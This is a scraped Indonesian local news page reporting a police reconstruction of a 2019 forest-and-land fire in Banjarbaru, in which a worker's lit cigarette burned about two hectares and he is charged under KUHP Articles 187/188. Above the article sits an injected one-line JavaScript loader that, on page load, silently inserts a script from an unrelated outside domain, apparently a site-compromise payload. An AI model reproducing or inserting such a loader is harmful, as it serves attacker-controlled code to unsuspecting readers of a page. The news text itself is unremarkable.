(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Unit Tipiter Sat Reskrim Polres Banjarbaru menggelar rekontruksi kasus kebakaran hutan dan lahan (karhutla) yang terjadi di Jalan Handil Bina Tani/Handil V, Kelurahan Syamsuddin Noor, Kota Banjarbaru pada tanggal 14 Agustus 2019 lalu.
Sebanyak 19 adegan diperagakan oleh Ahmad Pahwan yang telah resmi ditetapkan oleh Sat Reskrim Polres Banjarbaru sebagai tersangka. Tidak sendiri, tersangka awalnya bersama saksi Ahmad Hartoyo diminta oleh pemilik tanah atas nama Bambang Susanto pada hari itu.
Mereka berdua awalnya membersihkan lahan dengan parang di area tersebut. Namun saat istirahat, tersangka merokok dan meninggalkan rokoknya dalam keadaan menyala saat bermaksud berteduh di rumah salah satu warga yang tidak jauh dari area lahan tersebut.
Tidak lama kemudian saat saksi ingin melanjutkan pekerjaan membersihkan lahan tiba-tiba api sudah membesar, hingga membakar sekitar 2 hektare lahan. Sekitar 5 menit berselang, petugas Tim Karhutla dari Polsek Banjarbaru Barat datang dan membantu memadamkan lahan yang terbakar bersama Ahmad Pawan yang merupakan pelaku dan saksi Ahmad Hartoyo.
Kemudian Tim Karhutla Polsek Banjarbaru Barat melakukan interogasi kepada kedua orang yang ditemukan di area lahan terbakar tersebut, selanjutnya dibawa ke Mapolres Banjarbaru untuk dilakukan pemeriksaan.
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasubbaghumas Polres Banjarbaru AKP Siti Rohayati menuturkan, benar dari hasil penyelidikan dan pemeriksaan para saksi serta saksi ahli, akhirnya satu dari dua orang yang ditemukan di sekitar area lahan yang terbakar telah resmi jadi tersangka yaitu atas nama Ahmad Pawan.
“Pelaku kini kami jerat dengan Pasal 187 KUHP dan atau 188 KUHP yang mana Barang siapa dengan sengaja menimbulkan kebakaran, ledakan atau banjir, dan atau barang siap menyebabkan karena kesalahannya kebakaran, letusan atau banjir dapat dihukum pidana kurungan maksimal 5 tahun penjaraâ€Â, pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.